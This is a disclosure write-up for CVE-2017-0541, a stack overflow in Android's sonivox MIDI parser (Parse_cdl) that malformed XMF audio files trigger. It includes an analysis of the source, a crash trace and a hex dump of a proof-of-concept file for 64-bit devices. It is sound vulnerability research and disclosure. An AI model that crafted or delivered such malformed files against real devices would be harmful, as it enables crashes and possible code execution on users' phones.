

# CVE-2017-0541

CVE-2017-0541 Remote code execution triggered by malformed XMF file in sonivox, affecting most android version (4.4 – 7.1), disclosed in the April security bulletin, <https://source.android.com/security/bulletin/2017-04-01.html>

Impact: Processing a maliciously crafted XMF format audio file may lead to arbitrary code execution.

Description: A stack corruption issue when parse xmf file.

CVE-2017-0541: Jioun\_dai of Skyeye, 360 Enterprise Security.

## Abstract

The "sonivox" external library is used by Android to process MIDI files. A memory corruption issue exists in the Parse\_cdl function, which is called via the EAS\_Prepare public API. The issue is caused while processing Extensible Music Files (XMF) using the MediaPlayer or MediaScannerConnection APIs. Specifically, EAS\_Prepare is called via MediaPlayer.prepare MediaPlayer.getDuration and MediaScannerConnection.scanFile.

In practice I have triggered the stack corruption on a device in the following scenarios:

- Forcing a ".xmf" file to be auto-downloaded by Chrome, which will then be processed by the media scanner service.
- Clicking on an attachment in Gmail.

In general, many other application specific attack vectors may be possible depending on the specific usage of the media APIs.

## Analysis

The vulnerability is caused by the cdl parser in function Parse\_cdl (eas\_mdls.c):

[https://android.googlesource.com/platform/external/sonivox/+/android-7.1.1\\_r26/arm-wt-22k/lib\\_src/eas\\_mdls.c](https://android.googlesource.com/platform/external/sonivox/+/android-7.1.1_r26/arm-wt-22k/lib_src/eas_mdls.c)

```
static EAS_RESULT Parse_cdl (SDLS_SYNTHESIZER_DATA *pDLSDData, EAS_I32 size,
EAS_U32 *pValue)
{
    EAS_RESULT result;
    EAS_U32 stack[CDL_STACK_SIZE];
    EAS_U16 opcode;
    EAS_INT stackPtr;
    EAS_U32 x, y;
    DLSID dlsid;

    stackPtr = -1;
    *pValue = 0;
    x = 0;
    while (size)
    {
        /* read the opcode */
        if ((result = EAS_HWGetWord(pDLSDData->hwInstData, pDLSDData->fileHandle, &opcode,
EAS_FALSE)) != EAS_SUCCESS)
```

```

    return result;

/* handle binary opcodes */
if (opcode <= DLS_CDL_EQ)
{
    /* pop X and Y */
    if ((result = PopcdlStack(stack, &stackPtr, &x)) != EAS_SUCCESS)
        return result;
    ...
    switch (opcode)
    {
        case DLS_CDL_AND:
            x = x & y;
            break;
        case DLS_CDL_OR:
            x = x | y;
            break;
        ...
    }

    else if (opcode == DLS_CDL_NOT)
    {
        if ((result = PopcdlStack(stack, &stackPtr, &x)) != EAS_SUCCESS)
            return result;
        x = !x;
    }

    else if (opcode == DLS_CDL_CONST)
    {
        if ((result = EAS_HWGetDWord(pDLSData->hwInstData, pDLSData->fileHandle, &x,
EAS_FALSE)) != EAS_SUCCESS)
            return result;
    }
    ...
    else
    { /* dpp: EAS_ReportEx(_EAS_SEVERITY_WARNING, "Unsupported opcode %d in DLS
file\n", opcode); */ }

    /* push the result on the stack */
    if ((result = PushcdlStack(stack, &stackPtr, x)) != EAS_SUCCESS)
        return result;
}

/* pop the last result off the stack */
return PopcdlStack(stack, &stackPtr, pValue);
}

```

Parse\_cdl is called by DLSParser:

```

EAS_RESULT DLSParser (EAS_HW_DATA_HANDLE hwInstData, EAS_FILE_HANDLE
fileHandle, EAS_I32 offset, EAS_DLSLIB_HANDLE *ppDLS)
{
    ...

    while (pos < endDLS)
    {

```

```

chunkPos = pos;

/* get the next chunk type */
if ((result = NextChunk(&dls, &pos, &temp, &size)) != EAS_SUCCESS)
    return result;

/* parse useful chunks */
switch (temp)
{
    case CHUNK_CDL:
        if ((result = Parse_cdl(&dls, size, &temp)) != EAS_SUCCESS)
            return result;

    ...

```

Let's see the while loop in function Parse\_cdl, the size value is set by parsing xmf file, so it is an attacker controlled value. The value of variable opcode is set by calling EAS\_HWGetWord(..), which is also an attacker controlled value, when the value of opcode is not satisfied any condition of the if branch (opcode > DLS\_CDL\_EQ and not DLS\_CDL\_NOT will be OK), it will push x in the stack by calling PushcdlStack(stack, &stackPtr, x).

[ **Note:** There is another bug in Parse\_cdl(...) , why the value of size(while loop condition) is never changed, it's a infinite loop. Perhaps not yet fixed. ]

In PushcdlStack:

```

static EAS_RESULT PushcdlStack (EAS_U32 *pStack, EAS_INT *pStackPtr, EAS_U32 value)
{
    /* stack overflow, return an error */
    if (*pStackPtr >= CDL_STACK_SIZE) //CDL_STACK_SIZE is 8
        return EAS_ERROR_FILE_FORMAT;

    /* push the value onto the stack */
    *pStackPtr = *pStackPtr + 1;
    pStack[*pStackPtr] = value;
    return EAS_SUCCESS;
}

```

First, check value of \*pStackPtr, and then \*pStackPtr add one, and push the value into pStack. The checking ( if (\*pStackPtr >= CDL\_STACK\_SIZE) ) is incorrect, when PushcdlStack(...) is called 8 times continuously, the value of \*pStackPtr is from -1 to 7.

The 9th loop of while in Parse\_cdl(...), opcode is set DLS\_CDL\_CONST(0x0010), the value of x is got from xmf file, which is an attack controlled value, and push x into stack. At this time of calling PushcdlStack(), the value of \*pStackPtr is 7, and then add one, and the stack will be overflow.

## Crash trace

```
04-08 21:00:09.719 11057 11057 F DEBUG : ABI: 'arm'
04-08 21:00:09.720 11057 11057 F DEBUG : pid: 607, tid: 607, name: mediaextractor >>> media.extractor <<<
04-08 21:00:09.720 11057 11057 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -----
04-08 21:00:09.720 11057 11057 F DEBUG : r0 00000000 r1 0000025f r2 00000006 r3 00000008
04-08 21:00:09.722 11057 11057 F DEBUG : r4 f6b4c58c r5 00000006 r6 f6b4c534 r7 0000010c
04-08 21:00:09.722 11057 11057 F DEBUG : r8 ffdc143c r9 ffdc1440 sl ffdc1448 fp ffdc1446
04-08 21:00:09.722 11057 11057 F DEBUG : ip 00000016 sp ffdc13c8 lr f64f15c7 pc f64f3e30 cpsr 600c0010
04-08 21:00:09.739 11057 11057 F DEBUG :
04-08 21:00:09.739 11057 11057 F DEBUG : backtrace:
04-08 21:00:09.740 11057 11057 F DEBUG : #00 pc 00049e30 /system/lib/libc.so (tgkill+12)
04-08 21:00:09.740 11057 11057 F DEBUG : #01 pc 000475c3 /system/lib/libc.so (pthread_kill+34)
04-08 21:00:09.740 11057 11057 F DEBUG : #02 pc 0001d635 /system/lib/libc.so (raise+10)
04-08 21:00:09.740 11057 11057 F DEBUG : #03 pc 00019181 /system/lib/libc.so (__libc_android_abort+34)
04-08 21:00:09.740 11057 11057 F DEBUG : #04 pc 00017048 /system/lib/libc.so (abort+4)
04-08 21:00:09.740 11057 11057 F DEBUG : #05 pc 0001b633 /system/lib/libc.so (__libc_fatal+22)
04-08 21:00:09.740 11057 11057 F DEBUG : #06 pc 000482e7 /system/lib/libc.so (__stack_chk_fail+6)
04-08 21:00:09.740 11057 11057 F DEBUG : #07 pc 00008c88 /system/lib/libsonivox.so
04-08 21:00:09.740 11057 11057 F DEBUG : #08 pc 00008580 /system/lib/libsonivox.so (DLSParser+392)
04-08 21:00:09.740 11057 11057 F DEBUG : #09 pc 000174a0 /system/lib/libsonivox.so
04-08 21:00:09.740 11057 11057 F DEBUG : #10 pc 0000e060 /system/lib/libsonivox.so (EAS_Prepare+108)
04-08 21:00:09.741 11057 11057 F DEBUG : #11 pc 000d7f1f /system/lib/libstagefright.so (_ZN7android10MidiEngineC2ERKNS_2spINS_10DataSourceEEERKNS1_INS_8MetadataEEEE9_+130)
04-08 21:00:09.741 11057 11057 F DEBUG : #12 pc 000d8393 /system/lib/libstagefright.so (_ZN7android9SniffMidiERKNS_2spINS_10DataSourceEEEPNS_7String8EPFPNS0_INS_8AMessageEEE+38)
04-08 21:00:09.741 11057 11057 F DEBUG : #13 pc 000a4685 /system/lib/libstagefright.so (_ZN7android10DataSource5sniffEPNS_7String8EPFPNS_2spINS_8AMessageEEE+168)
04-08 21:00:09.741 11057 11057 F DEBUG : #14 pc 000d42e7 /system/lib/libstagefright.so (_ZN7android14MediaExtractor17CreateFromServiceERKNS_2spINS_10DataSourceEEEPKc+46)
04-08 21:00:09.741 11057 11057 F DEBUG : #15 pc 000028db /system/lib/libmediaextractorservice.so (_ZN7android21MediaExtractorService13makeExtractorERKNS_2spINS_11DataSourceEEEPKc+34)
04-08 21:00:09.741 11057 11057 F DEBUG : #16 pc 0008a385 /system/lib/libmedia.so (_ZN7android23BnMediaExtractorService10onTransactEjRKNS_6ParcelEPS1_j+108)
04-08 21:00:09.741 11057 11057 F DEBUG : #17 pc 000359bf /system/lib/libbinder.so (_ZN7android7BnBinder8transactEjRKNS_6ParcelEPS1_j+70)
04-08 21:00:09.741 11057 11057 F DEBUG : #18 pc 0003d19d /system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+700)
04-08 21:00:09.741 11057 11057 F DEBUG : #19 pc 0003cdef /system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+114)
04-08 21:00:09.742 11057 11057 F DEBUG : #20 pc 0003d2ff /system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+46)
04-08 21:00:09.742 11057 11057 F DEBUG : #21 pc 00000feb /system/bin/mediaextractor
04-08 21:00:09.742 11057 11057 F DEBUG : #22 pc 00016c61 /system/lib/libc.so (__libc_init+48)
04-08 21:00:09.742 11057 11057 F DEBUG : #23 pc 00000ea0 /system/bin/mediaextractor
```

## Sample(POC)

The sample of triggering this vulnerability is different when it is played on 32 bit device and 64 bit device, because of another bug of sonivox, I simply explain this bug, the bug appears in function XMF\_ReadNode (eas\_xmf.c):

[https://android.googlesource.com/platform/external/sonivox/+android-7.1.1\\_r26/arm-wt-22k/lib\\_src/eas\\_xmf.c](https://android.googlesource.com/platform/external/sonivox/+android-7.1.1_r26/arm-wt-22k/lib_src/eas_xmf.c)

```
if (chunkType == XMF_RIFF_CHUNK)
{
    /* skip length */
    if ((result = EAS_HWFFileSeekOfs(hwInstData, pXMFDData->fileHandle, sizeof(EAS_I32))) != EAS_SUCCESS)
    ...
}
```

EAS\_I32 is defined long, sizeof(EAS\_I32) is 4 bytes in 32 bit device, but 8 bytes in 64 bit device, so the offset of XMF\_RIFF\_DLS is different, and in order to parse DLS correctly and bypass some field checks, the two samples are different.

When you personally debug this vulnerability, you will find how to cleverly construct the samples, leave it to you.

**sample for 32 bit device**

[illegible]

## sample for 64 bit device

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0123456789ABCDEF
0000h:	58	4D	46	5F	31	2E	30	30	81	70	04	AA	AA	AA	AA	0F	XMF_1.00.p.aaaa.
0010h:	02	04	00	01	82	40	00	05	00	01	52	49	46	46	81	20	...., @....RIFF.
0020h:	00	00	44	4C	53	20	44	4C	53	20	00	00	00	00	63	64	..DLS DLS ....cd
0030h:	6C	20	16	00	00	00	13	00	13	00	13	00	13	00	13	00	l .....
0040h:	13	00	13	00	13	00	10	00	41	41	41	41	63	64	6C	20	.....AAAcdl
0050h:	16	00	00	00	13	00	13	00	13	00	13	00	13	00	13	00	.....
0060h:	13	00	13	00	10	00	41	41	41	41	63	64	6C	20	16	00	.....AAAcdl ..
0070h:	00	00	13	00	13	00	13	00	13	00	13	00	13	00	13	00	.....
0080h:	13	00	10	00	41	41	41	41	70	00	00	00	BB	BB	BB	BB	....AAAap...>>>>
0090h:	61	72	74	31	70	00	00	00	08	00	00	00	01	00	00	00	artlp.....
00A0h:	01	00	00	00	01	00	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	.....>>>>>>>>>>
00B0h:	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	>>>>>>>>>>>>>>>>
00C0h:	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	>>>>>>>>>>>>>>>>
00D0h:	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	>>>>>>>>>>>>>>>>
00E0h:	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	BB	>>>>>>>>>>>>>>>>
00F0h:	BB	BB	BB	BB	BB	BB	BB	BB	77	76	70	6C	40	00	00	00	>>>>>>>>wvpl@...
0100h:	CC	CC	CC	CC	77	61	76	65	20	00	00	00	CC	CC	CC	CC	ïïïïwave ...ïïïï
0110h:	66	6D	74	20	10	00	00	00	01	00	01	00	FF	FF	FF	FF	fmt .....ÿÿÿÿ
0120h:	FF	FF	FF	FF	FF	FF	08	00	64	61	74	61	00	FF	FF	FF	ÿÿÿÿÿÿ..data.ÿÿÿ
0130h:	DD	DD	DD	DD	DD	DD	DD	DD	DD	DD	DD	DD	DD	DD	DD	DD	ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
0140h:	70	74	62	6C	08	00	00	00	00	00	00	00	01	00	00	00	ptbl.....
0150h:	00	00	00	00	17	00	04	00	01	4D	54	68	64	AA	AA	AA	.....MThd^aaa
0160h:	AA	AA	AA	AA	AA	AA	AA	AA	AA	AA	AA	AA	AA	AA	AA	AA	aaaaaaaaaaaaaaaaaaaa
0170h:	AA	AA	AA	AA	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	aaaa^ÿÿÿÿÿÿÿÿÿÿÿÿ
0180h:	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
0190h:	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
01A0h:	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
01B0h:	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
01C0h:	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
01D0h:	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF			ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

## Timeline

- 2016.12.29 Initial discovery
- 2017.01.01 Report to Google
- 2017.01.02 Google responds on they are working on a fix
- 2017.02.22 Google's initial severity assessment is Critical
- 2017.02.27 CVE-2017-0541 assigned
- 2017.04.03 Public disclosure